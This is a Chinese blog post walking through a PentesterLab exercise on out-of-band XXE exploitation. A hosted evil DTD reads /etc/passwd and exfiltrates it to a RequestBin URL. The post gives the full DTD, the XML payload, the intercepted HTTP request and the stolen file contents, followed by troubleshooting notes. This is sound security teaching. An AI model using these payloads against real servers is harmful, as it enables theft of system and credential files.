接續前一篇「XML External Entity (XXE) 漏洞實作練習 (一)」,一樣使用 PentesterLab 的靶機,但攻擊手法稍做改變,這是使用的是外部伺服器來當作 DTD 的存放點,接著將資料丟到外部的 RequestBin,目的是為了解決沒有實體 IP 主機的困擾,並且將過程依序記錄下來。
目錄
前言
為了實作次攻擊,花了一整個晚上研究,由於大膽的認定攻擊方法可行,所以就直接在 Mks
上丟了 evil.dtd
、evil.xml
兩個檔案進行測試,然後外部的接收服務採用 Hookbin
、RequestBin
,不過一直無法成功將參數送到Hookbin
,不知道是不是 HTTPs
的因素,所以隨後就改用 RequestBin
,甚至還申請額外的虛擬主機來測試。 null
環境變更
關於該篇文章中的攻擊實作,環境的配置上需要調整,首先採用 NAT
的方式連線,並將虛擬機的服務導到本機上。
Step1
Step2
這邊客體指的是虛擬機,主機指的是實體機。
攻擊概要圖
首先該概要圖修了好幾次,失敗就改方案,不斷地修改,原先的 Attacker 攻擊受害者,不論是 DTD,或是收 Requests
都是在 XXE Serve
,但現在要將 DTD、Requests
移到外網去,如下圖。
- Attacker 傳送惡地的 XML 請求至靶機。
- 受害者依照請求上的 XML 實體,到目標主機上獲取 DTD。
- 獲取 DTD 之後,透過 XXE 漏洞將敏感資訊遞送至外部主機。
但經過實測之後,經歷不少問題,最終的攻擊流程圖如下。
實作攻擊
靶機的架設方法,工具等都可以參考上一篇文章,了解攻擊實作之後在來閱讀該篇文章會比較好吸收。
先前準備
依照攻擊概要圖的方式執行攻擊,需要先有一台虛擬主機,該虛擬主機用於存放 DTD
檔案,由於筆者的虛擬主機不是 VPS,無法直接閱覽 Logs
,所以需要額外準備好可以接收參數的服務。
- 免費虛擬主機 Lionfree.net
- RequestBin
若與筆者一樣,沒有 VPS,可以自行申請免費主機,隨後到 RequestBin
產生 RequestBin
服務,會得到類似 http://requestbin.fullcontact.com/t5nejvt5
的 URL。
DTD 存放
虛擬主機一般都會提供 FTP
、File Manager
等功能,可以透過上傳,或直接 Web 編輯的方式來建立 DTD,需要注意的是 SYSTEM
的值,應為 RequestBin
所產生的 URL
。
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://requestbin.fullcontact.com/t5nejvt5/?p=%data;'>">
構造 Payload
將檔案建上去之後,便可以開始構造 Payload,該地方要注意的是,這次不是使用 SYSTEM
而是 PUBLIC
,然後參數的部分為虛擬主機存放 DTD 的位置。
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp PUBLIC "any_text" "http://mks.lionfree.net/evil.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
攻擊紀錄
遞送 Payload 的方法與上一篇文章相同,登入後使用 Brup Suite
攔截,並修改 Payload,並且記得要將 Content-Type
修改為 text/xml
,並將 Content-Length
回填。
Payload 如下:
POST /login HTTP/1.1
Host: 192.168.9.25:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.9.25:8080/login
Content-Type: text/xml
Content-Length: 154
Connection: close
Upgrade-Insecure-Requests: 1
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp PUBLIC "any_text" "http://mks.lionfree.net/evil.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
DTD:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://requestbin.fullcontact.com/t5nejvt5/?p=%data;'>">
最後且確認 RequestBin 有收到資料:
root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux
ser,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux
User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux
User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux
User,,,:/home/mysql:/bin/false
結論
實作方法看起來不難,但過程中卻遇到不少困難之處,在「攻擊概要圖」那部分有提到,原先的規劃與最後的規劃有所差異,原因在於為了瞭解問題。
測試方法:
- TEST
XXE Serve
指向本地NodeJS
結果: 有 Log 訊息 XXE Serve
指向RequestBin
結果: 有Requests
請求- 外部 DTD(mks.lionfree.net)指向
RequestBin
結果:RequestBin
沒有收到Requests
- Payload 改用
PUBLIC
方法
結果:RequestBin
收到Requests
Attacker to 受害者
以 XXE Serve
的方式來構造攻擊,Requests
與 Response
都是在 Attacker 與受害者之間,但現在 Attacker 若是在內網,構造該攻擊的 Payload 便無法指向在內網的 XXE Serve
、HTTP Server
。
所以依照以上方法是無法,就算有辦法把 Payload 送出去,也無法讓受害者去讀取惡意的 DTD 檔案,就算可以讀到 DTD,接收 Requests
的 Logs 也是問題。
受害者 to DTD Server
過程中精力不斷的失敗,嘗試過直接在 Attacker,透過其它方法(NodeJS)架設 HTTP Server
,並存放 DTD,把外網的部分移到內部測試,不過這部分是成功的,可以將資料送至 RequestBin
中。
但若要移動到外網,這邊的 DTD Server 原先是採用 mks.tw
網域的子網域 test.mks.tw
,但遇到的問題是,該網域下皆使用 https
,雖然不知道有沒有直接關係,而在 http://mks.lionfree.net/
使用 http
協定成功,所以暫定問題無法使用 https
。
2019/3/31 更新:參考自其它文章,下圖圖表為 XML 解析支援,libxml2
與原生 PHP
並不支援 HTTPS
的解析,但 PHP
能透過安裝套件來支援 HTTPS
的解析,此外 PHP7
好像原生就有支援了(PHP 不熟,僅稍微 Google 過)。
受害者 to RequestBin
在這個過程中 RequestBin
並不是首選,原先是使用 Hookbin
的服務,但該服務也是採用 HTTPs
,當下也不知道到底有沒有影響,試了半天 Hookbin
都沒有收到資料,最後就放棄換 RequestBin
,但還是收不到資料,最後是嘗試使用 XXE Payload 的 PUBLIC
才成功將訊息丟出來。
Reference:
https://phonexicum.github.io/infosec/xxe.html
https://www.k0rz3n.com/2018/11/19/一篇文章带你深入理解%20XXE%20漏洞/